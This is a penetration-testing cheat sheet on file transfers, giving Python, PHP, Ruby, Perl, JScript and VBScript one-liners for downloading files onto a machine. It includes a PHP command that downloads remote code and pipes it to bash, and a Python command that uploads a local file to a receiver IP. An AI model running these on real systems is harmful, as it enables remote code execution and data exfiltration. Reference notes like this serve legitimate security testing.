CtrlK

Pentest Notes / File Transfers

Transfer using Code

Python

Python 2

python2.7 -c 'import urllib;urllib.urlretrieve ("[link_to_file]", "[filename_to_be_saved_as]")'

Python 3

python3 -c 'import urllib.request;urllib.request.urlretrieve("[link_to_file]", "[filename_to_be_saved_as]")'

Upload with Python

Starting the Python uploadserver - reciever
python3 -m uploadserver

Uploading a File - sender
python3 -c 'import requests;requests.post("[MACHINE_IP]:8000/upload",files={"files":open("[full_path_of_file]","rb")})'
machine_ip is reciever's ip

PHP

File_get_contents()

php -r '$file = file_get_contents("[link_to_file]"); file_put_contents("[filename_to_be_saved_as]",$file);'

Fopen()

php -r 'const BUFFER = 1024; $fremote =
fopen("[link_to_file]", "rb"); $flocal = fopen("[filename_to_be_saved_as]", "wb"); while ($buffer = fread($fremote, BUFFER)) { fwrite($flocal, $buffer); } fclose($flocal); fclose($fremote);'

Download and Pipe it to Bash

php -r '$lines = @file("[link_to_file]"); foreach ($lines as $line_num => $line) { echo $line; }' | bash

Ruby

ruby -e 'require "net/http"; File.write("[filename_to_be_saved_as]", Net::HTTP.get(URI.parse("[link_to_file]")))'

Perl

perl -e 'use LWP::Simple; getstore("[link_to_file]", "[filename_to_be_saved_as]");'

Javascript

Create a file wget.js:

var WinHttpReq = new ActiveXObject("WinHttp.WinHttpRequest.5.1");
WinHttpReq.Open("GET", WScript.Arguments(0), /async=/false);
WinHttpReq.Send();
BinStream = new ActiveXObject("ADODB.Stream");
BinStream.Type = 1;
BinStream.Open();
BinStream.Write(WinHttpReq.ResponseBody);
BinStream.SaveToFile(WScript.Arguments(1));

Cmd:

cscript.exe /nologo wget.js [link_to_file] [filename_to_be_saved_as]

VBScript

Create a file wget.vbs

dim xHttp: Set xHttp = createobject("Microsoft.XMLHTTP")
dim bStrm: Set bStrm = createobject("Adodb.Stream")
xHttp.Open "GET", WScript.Arguments.Item(0), False
xHttp.Send

with bStrm
.type = 1
.open
.write xHttp.responseBody
.savetofile WScript.Arguments.Item(1), 2
end with

Cmd

cscript.exe /nologo wget.vbs [link_to_file] [filename_to_be_saved_as]